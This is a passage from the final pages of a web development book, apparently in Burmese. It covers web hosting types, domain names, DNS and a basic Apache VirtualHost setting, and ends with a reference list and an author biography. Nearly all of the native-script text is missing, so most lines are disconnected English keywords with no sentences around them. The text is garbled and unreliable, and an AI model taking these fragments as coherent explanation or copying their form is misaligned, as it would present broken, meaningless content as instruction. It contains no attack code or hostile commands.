Server Environment Apache, PHP MySQL Software
App File FTP Setting
Server Update Software Installation Remote Administration
Server Email Setting
Resource Monitoring
Logging
Setting

Data Center Server Host System Administration


Hosting Service Provider


Hosting Hardware Server
Setting Website
Register Server

Hosting Register
Server
Control Panel Control Panel Web Browser
Web App App File Server / Database
/ Domain Name Email
Account Server User Account Resource

(-) DreamHost Hosting Control Panel

Hosting Server Share Host, VPS, Dedicated Server



Professional Web Developer - () 519

(-) DreamHost Control Panel

Share Host Server


Server
Server OS
App App
User Account
File Server

File Share Host
Server
Software Server Install
Server App Server
OS App App
Personal Website Website Hosting

Virtual Private Server VPS Hosting Share Host Server


Vitalization
Server Operating System Virtual OS

Hardware Server
VPS Server
Server
Software Install VPS Hosting

Professional Web Developer - () 520

Dedicated Server Server



Colocation Server
Colocation Server Dedicated Server
Hosting

Managed Hosting Server

Setting Server Maintenance

App Requirement Hosting Plan


(Capacity) Hosting
File Storage Database Storage
Network Bandwidth
Email Account User Account
Sub-Domain
Hosting
Share Host
Software
App Language, Database

Domain Name
Hosting Server IP Address
IP Address
IP Address
Domain Name - google.com, wikipedia.org, facebook.com
Domain Name IP Address
Website
Hosting
Domain Name

Domain Name Dash ( - )


Special Character Top-Level Domain (TLD)
.com, .net, .org, .edu, .gov, .info, .name, .asia, .biz Domain Name
Extension TLD .gov TLD
.gov TLD
ccTLD TLD - .co.uk, .com.mm,
.au, .sg TLD ccTLD

Professional Web Developer - () 521

Domain Name


Domain Name Server



example.com example.com
Server
Hosting Server Control Panel
Domain Name Domain Name Interface
Hosting DNS Server Hosting Control Panel
Tech Support Email DNS Address
Domain Name Interface DNS Setting DNS Address
example.com
Server

Domain Name System (DNS) Phone Book Phone Book



DNS Phone Book IP Address Domain Name
Domain Name Server IP Address DNS Database
IP Address IP Address
Domain Name

Server Setting
- Apache Setting

<VirtualHost *:*>
DocumentRoot /example.com
ServerName example.com
</VirtualHost>

DocumentRoot /example.com Folder


example.com Server Apache
/example.com Folder Document
Hosting Control Panel Add Domain ( ) Option Domain
Name Hosting Script Setting
Folder

Professional Web Developer - () 522

Domain Name DNS Setting Hosting Server DNS Address Server


Setting Web Server
App File Server Upload Database
Email Account Sub-Domain
Hosting Control Panel Option

Conclusion
Domain Name Hosting

App Provider

Domain Name Hosting


Recommend

Domain Name ()
Hosting
Share Host () ()
Dedicated Host ()
()

Amazon AWS, Google AppEngine, RackSpace, AppFog Hosting Cloud


Hosting Cloud Hosting Capacity
Capacity
Capacity
Cloud

Professional Web Developer - 523

Professional Web Developer








Developer
Life-Long Learning "" Self-study "
"
Self-study









Professional Web Developer - 524

Web Developer


( Fairway )

--

--
-- Version 2.1
--
--
Professional Web Developer - 525

1. http://www.w3.org/wiki/Web_Standards_Curriculum
2. http://en.wikipedia.org/wiki/Http
3. https://http2.github.io/faq
4. http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
5. http://en.wikipedia.org/wiki/Xhtml
6. http://reference.sitepoint.com/css
7. http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
8. http://developer.mozilla.org/en-US/docs/Web/JavaScript
9. http://javascript.crockford.com
10. http://api.jquery.com
11. http://unixpapa.com/js/key.html
12. http://en.wikipedia.org/wiki/Php
13. http://en.wikipedia.org/wiki/.NET_Framework
14. http://en.wikipedia.org/wiki/JavaEE
15. http://php.net/quickref.php
16. http://en.wikipedia.org/wiki/Mysql
17. [Book] MySQL Database Usage & Administration by Vikram Vaswani
18. http://www.php.net/manual/en/ini.list.php
19. http://httpd.apache.org/docs/current/mod/quickreference.html
20. http://en.wikipedia.org/wiki/Ajax_(programming)
21. http://www.adaptivepath.com/ideas/ajax-new-approach-web-Apps
22. http://developer.mozilla.org/en/docs/AJAX
23. http://codex.wordpress.org/Template_Hierarchy
24. [Book] The Pragmatic Programmer: From Journeyman to Master by Dave Thomas and Andy Hunt
25. http://diveintohtml5.info
26. http://en.wikipedia.org/wiki/Html5
27. http://www.whatwg.org/specs/web-apps/current-work/multipage
28. [Book] Web API Design by Brian Mulloy
29. http://twitter.github.io/bootstrap
30. http://goldilocksapproach.com
31. http://www.owasp.org/index.php/Main_Page
32. http://php.net/manual/en/book.pdo.php
33. http://fairwayweb.com/open-source-history-license-model
34. http://www.quackit.com/web_hosting/tutorial/what_is_web_hosting.cfm
35. https://laravel.com/docs/
Professional Web Developer - 526

()
.. () ()
()
(Diploma in Computer Studies)
Software ()
Web Software Web Developer


() () ()
(LL.B)
Professional Web Developer - 527

() Durosoft Web Development


Outsource Project ()
Outsource Project Software Product
Durosoft Fairway Web
() Fairway Web TrustLink
() Fairway Technology Web Mobile
Software
Fairway Technology Managing Partner

() Professional Web Developer


() Ubuntu - Linux
Ubuntu Linux Operating System ()
() Rockstar Developer Web Service Project Management

() Web Development Fairway School of


Technology Web Mobile


eimg@fairwayweb.com
Website eimaung.com

You might also like